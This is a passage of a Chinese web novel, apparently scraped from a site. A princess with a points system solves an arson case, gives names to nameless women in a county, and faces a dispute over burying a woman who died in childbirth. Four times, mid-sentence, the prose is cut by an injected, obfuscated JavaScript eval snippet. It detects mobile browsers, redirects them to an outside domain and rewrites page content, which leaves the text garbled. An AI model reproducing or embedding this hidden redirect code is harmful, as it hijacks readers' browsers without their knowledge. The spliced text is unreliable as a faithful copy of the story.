“谢谢将军,谢谢将军……” “你们不必谢我,要谢就谢大公主吧。是她发现了破绽,告知本将军,本将军才能查明真相。” 姜柠和二皇子从帘子后面走了出来,几名战俘千恩万谢的。 姜柠谦让不已,道:“你们无需客气。” 这几名战俘又道:“既然我们以后要被分到达官贵人家做奴隶,为何不求公主收下我们呢?”“是啊,公主即将和亲北胤,等公主去了北胤,我们作为下人,也能跟着回到故国。” 姜柠推辞道:“这不合规矩。而且……而且我并无军功,是没有资格分战俘的。” 姜柠本想说,自己未必会去北胤和亲,但这件事只能烂在肚子里,不能告诉别人,因此话到嘴边,她又换成了别的说辞。 任将军道:“公主,你若是缺仆人,就挑几个战俘吧,这点权限我还是有的。” “不,确实不用了,我先走了。” 姜柠和二皇子一起走出了军营。 系统的虚影又出现了:“姜柠,你查清了纵火案的真相,保全了八百多战俘的性命,获得两万积分。现在你的积分是:61200。” “好。” 这一来一回的,时间已经很晚了,姜柠直接睡觉了。 第二天,她醒得迟了些,而且感觉有点疲惫,需要休息一下。 她就让丫环去公廨那边说一声,说自己今天不过去了,如果有什么重要的事,可以直接来找她。 反正她的住所跟公廨也就几步路的路程而已。 忙里偷闲的感觉很不错,她在床上躺了一会,吃了点早饭,又坐起来看书。 她看的是一本故事集,很快就看完了。 接着,她打开了夸夸群。 【姜柠:姐姐们好。】 【樱桃小完犊子:姜柠早上好,你起得好早啊。】 【活人微死:我还没起床呢。】 【你已被群主移出群聊:我醒了,在床上玩手机。】 【回笼教教主:什么?已经天亮了吗?】 【樱桃小完犊子:哈哈哈哈哈】 【姜柠:现在已经巳时了,姐姐们还没起床吗?】 【感觉尸体暖暖的:今天是周末。】 【有趣的灵魂一百多斤:昨晚熬夜加班,凌晨五点才睡。你们聊,我继续睡了。】 【只涨工资不长肉:什么?只有我一个人周末还在出差吗?】 【有趣的灵魂一百多斤:没错,只有你一个人。】 【你已被群主移出群聊:为你默哀三秒钟@只涨工资不长肉】 【活人微死:什么?真的有人周末早上还要出差?不会吧不会吧】 【只涨工资不长肉:可恶】 【姜柠:肉肉姐姐辛苦了。】 【只涨工资不长肉:叫我涨工资姐姐。】 【姜柠:涨工资姐姐辛苦了。】 【只涨工资不长肉:哈哈哈哈哈】 【活人微死:哈哈哈哈】 【樱桃小完犊子:姜柠现在的积分是多少了?】 【姜柠:六万多。】 【你已被群主移出群聊:哇哦。】 【樱桃小完犊子:哇哦。】 【活人微死:哇哦。】 【只涨工资不长肉:出差暂停,恭喜姜柠。】 【有趣的灵魂一百多斤:睡觉暂停,恭喜姜柠。】 【你已被群主移出群聊:游戏暂停,恭喜姜柠。】 【活人微死:呼吸暂停,恭喜姜柠。】 【感觉尸体暖暖的:发呆暂停,恭喜姜柠。】 【姜柠:谢谢姐姐们。】 【感觉尸体暖暖的:姜柠,你干了什么?】 【姜柠:简单来说,我破了一个纵火案,救了八百多名战俘。】 【樱桃小完犊子:看看,这就是女主的战斗力。】 【只涨工资不长肉:姜柠你太厉害了!】 【活人微死:我竟然跟姜柠在一个群,我有点东西。】 【你已被群主移出群聊:这个世界没有姜柠可怎么活啊】 【姜柠:夸张了,哈哈哈】 【有趣的灵魂一百多斤:是不是还有二十来天,就要去和亲了?】 【姜柠:对,留给我的时间不多了。】 【有趣的灵魂一百多斤:能在那之前攒够十万积分吗?】 【姜柠:我尽量努力!】 【只涨工资不长肉:还好吧,这么点积分,两三天就赚回来了。】 【姜柠:涨工资姐姐,你对我太有信心了吧?】 【只涨工资不长肉:那必须的!我的工资不停地涨,姜柠的积分也不停地涨,我们都有美好的未来!】 【樱桃小完犊子:疑似拼好饭吃中毒前的幻想@只涨工资不长肉】 【只涨工资不长肉:过分了啊】 【活人微死:人艰不拆】 姜柠关闭了群聊,继续休息。 休息了一天之后,她觉得好多了。于是,第二天一早继续去公廨。 她有一个想了好几天的计划,打算实施。 她先跟余县丞商量了一下。 余县丞有些惊讶,道:“公主的意思是,要给本县没有名字的妇女取名?” “没错。” “没这个必要,她们的日常生活也挺方便的,很多人自己都适应了。” “可是,我觉得她们应该有个名字。有了名字,她们才知道自己是自己。” 姜柠认真地看着余县丞,余县丞觉得自己的内心受到了触动。 他本以为自己活了大半辈子,已经不会为什么事情牵动情绪。可是,姜柠总是语出惊人,让他震撼。 有些事情,如果没人提,也就那么含糊地过去了;可若是有人提起,那就是一件庄重的大事。 在场的小吏、衙役,也都听见了姜柠的话。 他们都是男人,可没人觉得姜柠的提议是错的。 他们忽然发现,自己的母亲、妻子、祖母,失去名字已经太久了,失去自己也已经太久了。 就像房间里原本有一只大象,可大象被黑布遮住了,所以大家也就视而不见。 可现在,姜柠把这块黑布掀开,大家再也没法忽视这只大象。 有个小吏说道:“给那些妇女重新取名自然不是大问题,但是很多籍册上的名字也都要改,太麻烦了。” 姜柠道:“等给妇女们重新取好名字后,所有的籍册重造一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146970|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要辛苦大家一段时间。我会自掏腰包,支付额外的奖金给你们。大家也看到了,我过来待嫁,带来很多嫁妆。虽然之前赎回被俘士兵花了一部分,但还剩下许多珠宝,我一定不会亏待大家的。” 听见有额外的奖金拿,这些小吏自然没有异议。 余县丞道:“属下担心一件事,就是那些妇女自己不愿意取名。” 姜柠问道:“又不收钱,为何不愿取名?” “她们可能会嫌麻烦。” “先张贴告示,统计一下愿意取名的妇女有多少,总会有一些人报名的。人都有从众心理,只要有一部分人报名,剩下的也会跟着。” “也好。” 余县丞便组织了一些小吏,到处张贴告示。凡是有愿意取名的无名妇女,都可以到官府来登记。官吏们会帮忙现场取名,还有机会让公主亲自取名。 告示张贴好后,不到半天,就有附近的一些妇女探头探脑地聚集了过来,大约有四十多人。 妇女们平时很少跟官府打交道,都不敢上前。 有个小吏见了,便说道:“想取名字的过来,看热闹的退开。” 有三个妇女大着胆子上前,其中一个问道:“这位大人,真的能给我们取名字啊?” “对。” “真不收钱?” “对,不收钱。” “那这官府图什么啊?” “官府就一定得图什么吗?图让你们有个名字行不行?” “那……那能不能给我们三个取名?我们都没有名字。” “好,那先来登记一下。” 一个矮胖的妇女道:“我叫李张氏。” 一个高瘦的妇女道:“我叫何严氏。” 小吏道:“别报这种名字,根本分不清谁是谁。这样,你们把自己父亲、丈夫、儿子的姓名都报上,籍贯也说一下,我就知道你们都是谁家的,绝不会跟别人混淆。” “那没有丈夫,或没有儿子的呢?” “那就报家中两三个男性亲属的名字。你们家的男人总归是有名字的吧?” 矮胖妇女道:“有,有……民妇是白溪村人,父亲叫张禄,丈夫叫李四多,没有儿子。” 小吏道:“这也够了。我先给你登记。” 小吏在取名册子上写下:“白溪村人,张禄之女,李四多之妻,取名……哎,我给你取名叫桂娟怎么样?” 矮胖妇女开心道:“桂娟这名字好听!谢谢长官!” 那小吏便在册子上接着写:“取名桂娟。” 接着,他对那矮胖妇女道:“好了,下一个。” 一连取了几个名字后,小吏感到有些词穷。他平时很少给人取名字,尤其是女孩名。 于是,他对大堂内说道:“谁来替我的班?我取不来名字了。” 有几个小吏道:“我在忙呢,替不了你,你多辛苦一下吧。” “我也不会取名,抱歉啊。” “我认识的字还没你多呢。” 见没人帮忙,这小吏有些着急。 姜柠对他道:“接下来就由我负责这件事吧,你去忙吧。” 小吏开心地站了起来:“那就有劳公主了。” 接着,他对着门外的妇女们说道:“你们有福了,接下来是公主给你们取名!” 28. 阻碍(修) 闻言,更多妇女凑了上来。 一个穿着灰衣的妇女问道:“公主,您能不能给我取个名?” 姜柠问道:“你喜欢什么?” “我喜欢馒头!肉包!” 其他妇女都笑了起来。 姜柠也笑道:“馒头和肉包不好取名,不如这样,我用‘满’字给你取名。黄昏的天上满是彩霞,非常好看,你就叫‘满霞’吧。” “好嘞,谢谢公主!” 又有个妇女凑了上来:“公主,求您给我取名,我喜欢雪花。那我叫雪花行不行?” 姜柠:“叫雪花太直白了,瑞雪兆丰年,不如叫‘瑞雪’吧。” “太好了,这名字很不错!” 一个十几岁的女孩上前:“公主,那我呢?我喜欢洗衣服!” 众人又笑了。 姜柠笑了一会,又觉得有些悲伤。 没有人天生就喜欢洗衣服,如果有人说她喜欢洗衣服,那一定是被驯化成这样的。 姜柠对她说道:“洗衣服是每天都要干的活,谈不上喜欢不喜欢的。我想,你平时一定很勤快,很懂事,在家里抢着干活。不过,我还是希望你以后的日子能过得安乐些,给你取名叫‘静逸’如何?” “哇,这名字一听就是文化人取的,谢谢公主!” 有个包着蓝头巾的妇女走上前来:“公主,能不能给我换个名字?” 姜柠:“换名字?这么说,你本来有名字?” “对,我本来的名字叫锄头,我觉得不好听。” “锄头算什么名字,我给你改名叫‘暖阳’吧。” 农妇面露难色:“可是,这种名字不是只有男人才取吗?” “谁说‘阳’字一定属于男人了?女人就不能像太阳一样普照大地吗?你只说这个名字你喜不喜欢?” “喜欢。” “那就行了,从现在起,你就叫暖阳。” “好,谢谢公主!” 姜柠忙活了一个多时辰,觉得有些腰酸背痛。 她看了看围观的妇女们,好像大部分都已经取好名字了。 她问围观百姓:“还有没有人要取名?没有的话今天就散了吧。” 这时,有几个妇女推了推一个佝偻老妇,道:“大娘,您也去让公主取个名呀。” 这佝偻老妇道:“不用取,我有名字。” “胡说,你那个名字明明不算名字。” 姜柠听见了,便对那佝偻老妇说道:“大娘,您叫什么名字?需要取一个新名字吗?” 佝偻老妇道:“我叫荣威娘,我有名字的。” “荣威娘?” 姜柠觉得这名字很奇怪,不过好歹也算个名字吧。 这时,旁边有个妇女说道:“大人,她没名字。荣威是她儿子,所以我们平时叫她荣威娘。” 姜柠:“这样啊,那还是需要有个正经名字的。” 这佝偻老妇却摇摇头:“还是算了,我都六十多了,我儿子也四十多了。往常别人叫我荣威娘,我已经习惯了。如果突然改了名字,别人就不知道我是荣威的娘,反而有点麻烦。” “比你晚出生的儿子都有个正经名字,你却没有,不觉得奇怪吗?你这辈子又不是为儿子而活的,为什么要让别人用‘某某的娘’来叫你呢?” “别人叫我荣威娘,我是很高兴的……我这辈子,最自豪的就是生了荣威这么个好儿子……我不要改名,多谢公主好意。” 姜柠心中有些难受,但她也明白,一些老人的思想是很难改变的。自己强行帮这老妇改名,反而违背了老妇的心愿,不如就顺其自然吧。 于是,姜柠说道:“那今天取名字就取到这里,请大家转告其他人,如果还有想取名的,或是想改名的,这些天都可以来官府登记。” 闻言,大家纷纷散去。 —— 农妇暖阳回到村中,有人问她:“锄头,你干活去了?” 暖阳道:“没有,我去官府改名字了,以后我就叫暖阳了。” “这怎么改了个男人名啊?” “谁说只有男人才能叫阳?公主说了,女人也可以做太阳!” “这说的倒也没错,公主的见解真是不俗啊。” “是啊,要不说人家是公主呢。” “哎,我也想改个名字,不知道要收多少钱啊?” “不收钱,免费!” “真的吗?还有这好事?” “是啊,想去赶紧去吧,公主不会在咱们这儿待多久的,等她走了,说不定取名的事就荒废了。” “好,那我明天就去。” —— 农妇满霞回到村中,有人对她说道:“壮壮娘!好几天不见了!” 满霞笑着回应:“是啊,好久不见了。对了,我以后有名字了,我叫满霞,不用叫我壮壮娘了。” “可是,我都叫习惯了……” “哦,那就随你怎么叫吧,反正我自己知道我以后也有大名了!” “太好了,恭喜啊!” 这时,有另一个农妇过来道:“你怎么能叫满霞?我叫小霞,你叫满霞,你岂不是压我一头?” 满霞不悦地说道:“难道霞这个字只有你能用吗?我偏要叫满霞,这名字是公主取的,你不服,上官府说去!” “那我要改名叫超霞,超越你这个满霞!” “你改啊,明天你就上官府改名去,没人拦着你!” “那我真的要叫超霞,你不会来找我吵架吧?” “我可不是那种人,一直是你在找我吵架啊!我管你叫超霞,越霞,压霞,你爱叫什么就叫什么,我可不跟你一般见识。” —— 官府里,姜柠结束了一天的工作,伸展一下身体。 余县丞问她:“公主,今日给妇女们取名的事还顺利吗?” 姜柠道:“还行,但有位老太太不肯改名,非要让人叫她某某娘,某某是她儿子的名字。” “很多老人都是这样的,属下给你出个主意。明天,您想一百个名字,写在纸上,让来取名的妇女自己选,每个名字只能有一个人选。一百个名字选完,这一天的改名份额就没有了,只能改天再来。说不定,那些不愿改名的老妇,会来抢一个名字。” “真的吗?” “您不妨试试。” 姜柠觉得还真有可能。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146971|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对有些人来说,你明着说给他什么东西,他未必接受。可你要说这东西是有份额的,领完就没了,那么很多人哪怕用不上这东西,也会来抢一份。 这样做,也能达成目的,可是姜柠觉得有些不是滋味。她希望那些妇女是自己愿意改名、想要改名才来找她的,而不是为了满足某种贪小便宜的心理。 于是,她对余县丞道:“我还是希望那些妇女能有主动改名的意识。” 余县丞道:“您的意思属下明白,不过很多老人的思想是不会改变的,他们一辈子都是那样生活,不会觉得有哪里不对,也不会觉得有什么地方需要改进。一些新的想法,他们接受不了;新的技术,他们也学不了。每次要学习什么的时候,哪怕是很简单的事,也只有年轻人来学,老人只会一味地说自己学不会,不懂。” 姜柠叹道:“确实是这样啊。” 姜柠意识到,哪怕自己很努力,也只能改变一部分人。很多人都活在自己的世界里,不是她干预得了的。 凡事只求问心无愧就好,尊重每个人自己的发展规律。 晚上,姜柠吃了晚饭后,就拿来一张宣纸,在纸上写名字。 她要写一百个名字,明天让人来挑。 对她来说,取名并不是难事,而且有些字是可以重复的,只要不是整个名字都重复就行了。 大约一个时辰后,一百个名字就写完了。 她觉得有点累,稍作休息之后,就坐到了床上,继续拿着一本书看。 这时,门外下起了雨,淅淅沥沥的雨声打在屋檐上、地面上,让人纷乱的思绪逐渐安静下来,心里生起一股淡淡的喜悦。 姜柠喃喃道:“这样就挺好的。” 冬香问道:“什么挺好的?” “我是说,如果每天都没什么事,能闲着看看书,喝喝茶,再听听雨声,简直太好了。” “是啊,奴婢也喜欢。每到下雨天,我和小雪,还有其他小丫环们,就聚集在小姐的屋子里,一起喝茶、吃零食。小姐会叫我们不要干活,我们就名正言顺地偷懒。” 小雪道:“冬香姐姐,你说漏嘴了,不能再叫小姐,要叫公主。” 冬香:“哦,对,我差点忘了。” 姜柠笑道:“没事,反正也没外人。我倒是有点想念府里的其他小丫环了。” 冬香:“奴婢也是,也不知道这辈子有没有机会再见到她们。” 小雪:“哎呀,别聊这么伤感的话题了,咱们一起来吃东西吧!我偷偷藏了很多好吃的。” 小雪从一个箱子里掏出龙井茶糕、茉莉糕、南瓜子、椒盐花生等零食,铺在桌面上,显得眼花缭乱。 冬香笑道:“哟,你的百宝箱里藏着这么多好东西呢。” 小雪:“对啊,我一路上一有机会,就会买点零嘴,放在箱子里。” 姜柠和冬香都愉快地吃了起来。 姜柠很珍惜现在的时光,因为她知道以后恐怕很少有闲暇,连安稳的日子都很少。 她已经离开了家,即将要离开国,往后恐怕只有一场又一场的暴风雨。 不过,她不能望而却步。 她会继续走下去。 29. 远志(修) 第二天,姜柠继续来到衙门的门口,摆了个桌子,等待取名的妇女们过来。 今天来的妇女更多,她们大都是住得比较远的,听说了官府能取名的事,特意过来。 姜柠把写了一百个名字的宣纸拿出来,让她们自己选名字。 有遇到不识字的,姜柠就解释一下这些名字是什么含义。 今天来的妇女虽多,但其实也不到一百个,所以这些名字应该是够用的。 一堆妇女给自己挑了名字后,昨天的那个佝偻老妇荣威娘又来了。 她比昨天激动很多,询问道:“听说官府今天只发一百个名字,发完就没了?” 姜柠道:“对。” 荣威娘道:“那……那我挑一个……我要小玉这个名字。” 姜柠道:“这个名字被挑走了。” “啊,小玉这么好的名字被挑走了……那我要这个……虹姑。” “这个名字也被挑走了,凡是别人选过的名字,下面都添了下划线。您只看那些没有下划线的名字就好了。” “可是……有很多字我不认识,不知道挑哪个比较好。” “那我给您挑一个,就叫进宝怎么样?” “进宝?招财进宝,这是个尊贵的名字啊,我老婆子怎么能叫这名?” “难道你不能是个宝吗?为什么要看轻自己?正所谓家有一老,如有一宝,进宝这个名字就给你了。” “哎哟,谢谢公主,谢谢公主……只是,我一把年纪了,叫这个名字让人笑话。” “如果别人因为你的名字笑话你,那是他们没有素质。” “这……公主说得对啊!还是公主聪明!” 这佝偻老妇领了“进宝”的名字,欢欢喜喜地走了。 到了黄昏时分,来取名的妇女都走了。 姜柠一看,还有十来个名字没人领,说明今天一共只来了九十个左右的妇女。 姜柠对余县丞道:“我本以为一百个名字会不够分,没想到还有多出来的。难道本县没有名字的妇女并不多吗?” 余县丞道:“不算多,本县人口也只有一万,女人的数量大概是四千多,有一部分是有名字的,只是平时别人未必叫她们的名字,没有名字的其实只有几百人。您再接着想四百个名字,应该够用了。我估计,五天之内,本县所有妇女都会拥有名字。” 姜柠点头:“这倒比我想的要容易一些。” 姜柠正准备收工,有个中年男人急匆匆地跑来,边跑边说:“等等……衙门还没关吧?我想来取名字。” 等他走近了,姜柠说道:“现在只给妇女们取名字。” 中年男人气喘吁吁:“我知道……我是想给我过世的母亲求一个名字。她过世二十年了,墓碑上的名字就是钱杨氏。我觉得我母亲应该拥有一个名字……不知官府愿不愿意给过世的人取名?” 姜柠神情肃然:“当然可以。你希望给母亲取一个什么样的名字?” “我不太识字,公主看着取就好。” “你母亲生前喜欢什么?或是擅长什么?” “母亲擅长刺绣,经常绣手帕、衣服、荷包、枕套之类的东西,卖掉补贴家用。她一辈子都很辛苦,我也没好好孝顺她……” “那就给你母亲取名叫‘彩绣’吧?” “好,这名字好,很符合我母亲。谢谢公主!” 姜柠把“彩绣”两个字写下来,交给这中年男人:“你把这字给刻石碑的匠人看,让匠人在你父母的墓碑上补上你母亲的名字。” “好,那要重新做一块墓碑吗?我没钱……” “不用重新做,你只需要在你母亲‘钱杨氏’底下补刻‘彩绣’二字,别人就知道她的名字叫彩绣了。” “好,谢谢公主……” 男子千恩万谢,捧着这张写有名字的纸离开了。 —— 在一座荒山上,有一座年代久远的墓碑。 墓碑上的字已经暗淡了,今天却有匠人来重新刻字。 这个匠人在“钱杨氏”三字的下面刻下“彩绣”两个字,对旁边的中年男子道:“刻好了,没错吧?” 中年男子激动地说:“没错,这就是我母亲的名字……” “其实,你不用特意来刻上她的名字的,人都死了这么多年了……” “不,她曾来过人间,应该留下属于自己的名字……” 中年男子掏出几个铜板,递给匠人,匠人没收,道:“不用给钱了,反正也不费事。你是个孝子,我自愧不如啊。” “我娘的名字是公主取的,公主这些天还在县衙,你若是也有给家人取名的需求,可以去县衙找她。” “真的吗?” 这匠人望着县衙的方向,满怀希望地走了过去…… —— 一连数日,姜柠都在给妇女们取名字。 一开始她想名字还是挺容易的,但到后来,就越来越难了。 冬香给她出主意:“公主,您就把纸分割成很多小块,每个小块上写下不同的字,然后放进一个盒子里。您再伸手进去,抽出一张或两张纸,纸上是什么字,您就取什么名字,岂不方便?” 姜柠道:“这样倒是方便,但可能会取出一些奇怪的或是无意义的名字。我希望能为那些妇女都取一个好名字。” “可是,好名字哪有那么多呢?” “有些名字惊艳,有些名字普通。但无论是普通还是不普通的名字,我都希望是我用心想出来的,还是不做这种投机取巧的事了。冬香,你把我的书拿来。” 冬香问道:“哪一本?” “随便吧,多拿几本,我可以从中找找取名的灵感。” “好嘞。” 冬香拿了一捧书过来,姜柠随手一翻,翻到一本药材书。 书上有很多药材名,姜柠觉得拿来做名字倒挺不错的。 于是,姜柠照着药方写下:“丁香、茯苓、远志……” 冬香道:“公主,‘远志’这名字一般是男人取的比较多。” “我知道,不过我觉得,女人也可以取这一类的名字。谁说女人就不能立大志、立远志,创一番事业呢?就算这是一条很艰难的路,我想也有人愿意去走的。” “这名字的寓意很好,不过我觉得,普通的妇女没有这样的志向和胸怀,恐怕不会选这个名字。” “要不咱们打个赌,要是明天有人选了‘远志’这个名字,你就给我五百钱;如果没人选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146972|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就输给你一两银子,怎么样?” “好啊,谢谢公主送我一两银子。” “噗,你谢得太早了。” 第二天,冬香跟着姜柠一起来到衙门口,看那些妇女选名字。 很多妇女来来去去的,选了自己想要的名字,确实没人选“远志”这个名字。 冬香道:“公主你看,我赢了。” 姜柠道:“离下值还有一炷香的时间呢,我们再等等看。” 这时,有个中年妇女带着两个小女孩来了,说道:“公主,我家的两个女儿都没取名字,本来想叫隔壁的秀才取的,但钱不够,一直没有去找他。您不介意我们家来的人太多吧?” 姜柠笑道:“当然不介意,我取这么多名字,就是为了让这里的女人都有名字。你们快来挑吧。” 其中一个小女孩挑了“白英”这个名字,另一个小女孩看了半天,有点犹豫。 她母亲说道:“快选啊,这个‘青果’不错,你就叫青果吧。” 小女孩说:“娘,我想选‘远志’。” “可这是小男孩的名。” 姜柠道:“没有什么名字是男孩专用的,我既然写在上面,就可以选。” 小女孩坚定地说:“那我就叫远志。” 她母亲有些嫌弃:“一个女孩叫这个名字,多难听啊。” 姜柠反问道:“大婶,若是一个男孩叫这名字,就不难听了吗?” “对啊,这是男孩名,男孩叫远志就挺好听的。” “我认为不是这样。一个女孩拥有高远的志向,不是更让人敬佩吗?” “嗐,什么高远的志向,我只希望她平安健康就好了,将来能嫁个好人家,生几个聪明的孩子……” 姜柠道:“这是她的人生,应该让她自己决定吧?” “好吧好吧……女儿,你想叫青果,还是叫绿荷?这个‘橘红’也不错……” 小女孩脆生生地说:“娘,我还是想选‘远志’,求您了……” “好吧。” 这妇人拗不过女儿,便让女儿选了“远志”这个名字。 姜柠在籍册上郑重写下“任远志”这个名字,对那小女孩笑道:“好了。” 小女孩高兴地说:“谢谢公主!” 她跟着家人走了,她的背似乎挺得更直了,脸上也满是对未来的希望。 姜柠笑着对冬香道:“你输了,给我五百钱。” 冬香只好掏出五百钱来递给姜柠,道:“没想到还真有人会选这个名字,是我输了,唉……” 姜柠道:“这就是孩子啊……孩子还没有被成年人的世界所同化,她们并不认为女孩和男孩有所不同。可是,一旦被一些世俗的观念所同化,她们就会失去自己的力量。” “公主说得有道理,我小时候好像也挺淘气的,爬树偷鸟蛋、下河抓鱼,跟一群男孩蹴鞠,什么都玩。后来母亲经常跟我说,女孩不能淘气,必须安静,多干活,带弟弟妹妹……可是,我干了很多活,我完全符合母亲的期望,但她还是把我给卖了……” 冬香的眼里闪着泪光,姜柠抱了抱她,道:“女孩不会因为听话懂事就一定会被爱,不要祈求别人的爱,只有自己才是自己坚强的后盾。” 30. 安葬(修) 冬香擦了擦眼泪:“公主说的是,以后我就忠于自己,忠于公主,不再想别的。” “嗯,忠于自己是最重要的,其次才是忠于我。无论何时何地,我都不会抛弃你的。” 冬香的手跟姜柠紧紧交握。她不需要说什么感激的话,因为那些话太浮于表面了,姜柠也不需要听。 她们彼此明白对方的想法,冬香也知道姜柠从未轻视、欺负过她,把她当朋友,她们可以互相信任一辈子。 人生祸福相依,如果冬香没有被父母卖掉,也就遇不到姜柠了。 这时,有个年轻瘦弱的男人走了过来,问道:“请问……这里可以给妇女取名字吗?” 姜柠道:“没错,你是不是要给家中的女眷取名?正好还剩下十来个名字,你可以挑挑看。” “我……我想给死去的姐姐挑一个名字,可以吗?她在家排行老大,没有大名,父母一直叫她大妹。” “好,死去的人也可以挑名字的,不要紧。” “多谢公主……” 这年轻男人看了一圈,挑了“橘红”这个名字,道:“我姐姐生前爱吃橘子,就叫她橘红吧。” 姜柠点头:“也好。” 姜柠在纸上写下了这个名字。 这年轻人又有些犹豫地说道:“除了给姐姐取名之外,草民还想求公主一件事……” “什么事?” “我姐姐生前,跟季家的三郎两情相悦,我父母就跟季家二老商议婚事。可是季家二老说,必须要我姐姐生下儿子,才准进他家的门。我们都很生气,想让姐姐跟季三郎断了,可姐姐不愿意。我们家便只能捏着鼻子认下了这个条件。没多久,姐姐怀孕了。可是分娩之时,因胎儿过大,姐姐难产,母子俱亡。 我们想让姐姐葬入季家的祖坟,可季家二老说,姐姐未曾嫁进他家,所以不能进他家祖坟。可是,我姐姐总不能葬在自家祖坟吧?这件事一直没个决断,姐姐的尸体现在还存放在义庄,请公主为她做主。” 姜柠听得又惊讶,又气愤,道:“怎么会有这种事?这事发生有多久了?” “三天。” “如今天气炎热,尸身不能久放,必须尽快安葬你姐姐。” 这年轻人道:“我也是这么说。可季家那边不愿意,我们也没办法。” “那户人家既然如此欺凌你姐姐,为何还要让你姐姐葬入他家?既然未曾婚娶,直接葬入你自家祖坟不就行了?” “可是……可是从来没有女儿葬在自家祖坟的先例啊……而且,姐姐肚子里还怀着季家的孩子,虽然没生下来,但她毕竟也算半个季家人了……” 姜柠知道,民间大部分地区都不允许女儿进自家祖坟和自家族谱,要进也只能进夫家的。 若是年纪小的小女孩夭折了,也是不能进自家祖坟的,但父母会为她另外起一个坟墓安葬。 现在那个死去的姑娘,可谓是两头没着落。 若是她不曾怀孕,作为在室女夭折,倒也好办,直接让她父母另起坟茔,安葬便是。 若是她平安产子,母子皆活,官府可以判季家必须娶了那位姑娘,让她们母子有个着落。 哪怕她生下孩子便死了,但孩子还活着,看在孩子的面上,再找几个人说和,让季家认下这个儿媳妇也不是不可以,到时候橘红姑娘就能葬入夫家祖坟了。 但偏偏是最不利的结果:未婚怀孕,母子俱亡。 姜柠叹息道:“你姐姐真是选了一条对自己最不利的路啊。” 这年轻人道:“谁说不是呢。当初季家二老提出要姐姐先怀孕生子,我们就不同意,可拗不过姐姐。我父母也曾打算,只要姐姐生下孩子,不论男女,我们家都要逼季家娶了姐姐。可谁知,我姐姐没挺过去……” 姜柠问道:“你叫什么名字?家住哪里?” “我叫蔡怀义,住在七柳村。” “那你姐姐就叫蔡橘红了。” “是,名字有了,可不知该往哪块墓碑上刻啊。” “那个季三郎呢?” “他这些天一直在家,躲着不见我们。” “你姐姐已死了三天,为何一直不来告官?” “因为我姐姐是难产而亡,怪不到别人头上。而且,如果此事闹上公堂,难免会跟季家交恶。可是我们家还指望着他们能接纳我姐姐,所以不想撕破脸。” “难道你们自己不能接纳你姐姐的尸体吗?她也是蔡家的后代,葬入蔡家究竟有什么不可以?” “可是,没有人这么干啊……说是会影响子孙的运势。” “为什么男人无论怎样都有个可安葬之处,遇到女人就偏有这许多规矩?蔡怀义,你也觉得你姐姐葬入自家祖坟,会对自己的运势有碍吗?” “我……我不清楚……对于这些传说,我一向是比较敬畏的,没必要跟风俗对着干……而且,我姐姐不是正常死亡,她是死于难产,胎死腹中,这……这是大凶之兆……” “你的意思是,你姐姐是凶尸?” “我……我不是这个意思,只是终究有点害怕……我也得为了自己将来的子孙后代考虑啊……” “你们这些有血缘关系的亲人,都不愿意接纳她,还指望没有血缘关系的人家能接纳?” 蔡怀义无言以对,只是低着头。 姜柠知道,在这件事上,他是不愿意让步的。否则,他就会说,他愿意把姐姐的尸体带到祖坟安葬了。 他现在看似没有在争辩,其实是无声的拒绝。 姜柠暗暗叹息了一声,道:“你们家也可以按照安葬幼儿的规矩,给你姐姐另起坟茔啊。你姐姐未曾出嫁,就算是她在家夭折,又有何不可?” 蔡怀义道:“这……不方便……” 姜柠皱眉道:“另起坟茔,有什么不方便?” “她……她毕竟怀着季家的孩子,应该算是季家的人了……而且,她十九岁了,这个年纪死了,也不算夭折,无论怎样也不该由我们家来安葬……” 姜柠听明白了。 蔡家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146973|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意安葬女儿,一方面是出于风俗,另一方面也是怕花钱。 如果要好好安葬一个人,也是要花费不少钱的。 蔡家就算出得起这笔钱,也不愿意出。 他们更想让季家出这笔钱。 蔡怀义这个年轻人愿意来替姐姐取名字,说明他对姐姐还是有感情的。 